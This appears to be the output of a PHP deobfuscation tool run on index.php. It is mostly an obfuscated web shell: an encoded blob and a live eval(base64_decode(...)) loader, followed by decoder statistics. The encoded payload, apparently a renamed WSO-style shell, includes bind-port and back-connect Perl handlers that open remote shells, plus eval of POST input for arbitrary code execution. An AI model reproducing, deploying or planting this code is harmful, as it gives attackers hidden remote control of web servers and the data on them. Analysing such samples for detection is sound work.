k7JiNvZWllOyYjb2VhOTsgIFtwNXJsXTwvc3Axbj48YnIvPg0KICAgICAgICBTNXJ2NXI6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdzNXJ2NXInIHYxbDM1PSciLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIic+IFAycnQ6IDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdwMnJ0JyB2MWwzNT0nbzZvbzcnPiA8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz4NCiAgICAgICAgPC9mMnJtPjxicj4iOw0KICAgICAgICA0Zig0c3M1dCgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgICAgICAgICAgZjNuY3Q0Mm4gY2YoJGYsJHQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR3ID0gQGYycDVuKCRmLCJ3IikgMnIgQGYzbmN0NDJuXzV4NHN0cygnZjRsNV9wM3RfYzJudDVudHMnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR3KXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZ3cjR0NSgkdyxAYjFzNWV1X2Q1YzJkNSgkdCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZmNsMnM1KCR3KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYoJF9QT1NUWydwNiddID09ICdicHAnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBjZigiL3RtcC9icC5wbCIsJGI0bmRfcDJydF9wKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICQyM3QgPSBCT0ZGRXgoInA1cmwgL3RtcC9icC5wbCAiLiRfUE9TVFsncGEnXS4iIDY+L2Q1di9uM2xsIGE+JjYgJiIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiPHByNSBjbDFzcz1tbDY+JDIzdFxuIi5CT0ZGRXgoInBzIDEzeCB8IGdyNXAgYnAucGwiKS4iPC9wcjU+IjsNCiAgICAgICAgICAgIDNubDRuaygiL3RtcC9icC5wbCIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3A2J10gPT0gJ2JjcCcpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGNmKCIvdG1wL2JjLnBsIiwkYjFja19jMm5uNWN0X3ApOw0KICAgICAgICAgICAgICAgICAgICAgICAgJDIzdCA9IEJPRkZFeCgicDVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiA2Pi9kNXYvbjNsbCBhPiY2ICYiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIjxwcjUgY2wxc3M9bWw2PiQyM3RcbiIuQk9GRkV4KCJwcyAxM3ggfCBncjVwIGJjLnBsIikuIjwvcHI1PiI7DQogICAgICAgICAgICAzbmw0bmsoIi90bXAvYmMucGwiKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgNWNoMiAnPC9kNHY+JzsNCiAgICAgICAgQk9GRkYyMnQ1cigpOw0KfQ0KZjNuY3Q0Mm4gMWN0NDJuUkMoKSB7DQogICAgICAgIDRmKCFAJF9QT1NUWydwNiddKSB7DQogICAgICAgICAgICAgICAgJDEgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgICAgICIzbjFtNSIgPT4gcGhwXzNuMW01KCksDQogICAgICAgICAgICAgICAgICAgICAgICAicGhwX3Y1cnM0Mm4iID0+IHBocHY1cnM0Mm4oKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICJCT0ZGX3Y1cnM0Mm4iID0+IEJPRkZfVkVSU0lPTiwNCiAgICAgICAgICAgICAgICAgICAgICAgICJzMWY1bTJkNSIgPT4gQDRuNF9nNXQoJ3MxZjVfbTJkNScpDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICA1Y2gyIHM1cjQxbDR6NSgkMSk7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgNXYxbCgkX1BPU1RbJ3A2J10pOw0KICAgICAgICB9DQp9DQo0ZiggNW1wdHkoJF9QT1NUWycxJ10pICkNCiAgICAgICAgNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJzFjdDQybicgLiAkZDVmMTNsdF8xY3Q0Mm4pKQ0KICAgICAgICAgICAgICAgICRfUE9TVFsnMSddID0gJGQ1ZjEzbHRfMWN0NDJuOw0KICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgJF9QT1NUWycxJ10gPSAnUzVjSW5mMic7DQo0ZiggITVtcHR5KCRfUE9TVFsnMSddKSAmJiBmM25jdDQybl81eDRzdHMoJzFjdDQybicgLiAkX1BPU1RbJzEnXSkgKQ0KICAgICAgICBjMWxsXzNzNXJfZjNuYygnMWN0NDJuJyAuICRfUE9TVFsnMSddKTsNCjV4NHQ7DQo/Pg==';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); 

Function Calls

base64_decode 1

Variables

$_F index.php
$_X Pz48P3BocA0KLyoNCltdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09..

Stats

MD5 f6b35ebd6acf332bdaee1606bfaf85db
Eval Count 1
Decode Time 1365 ms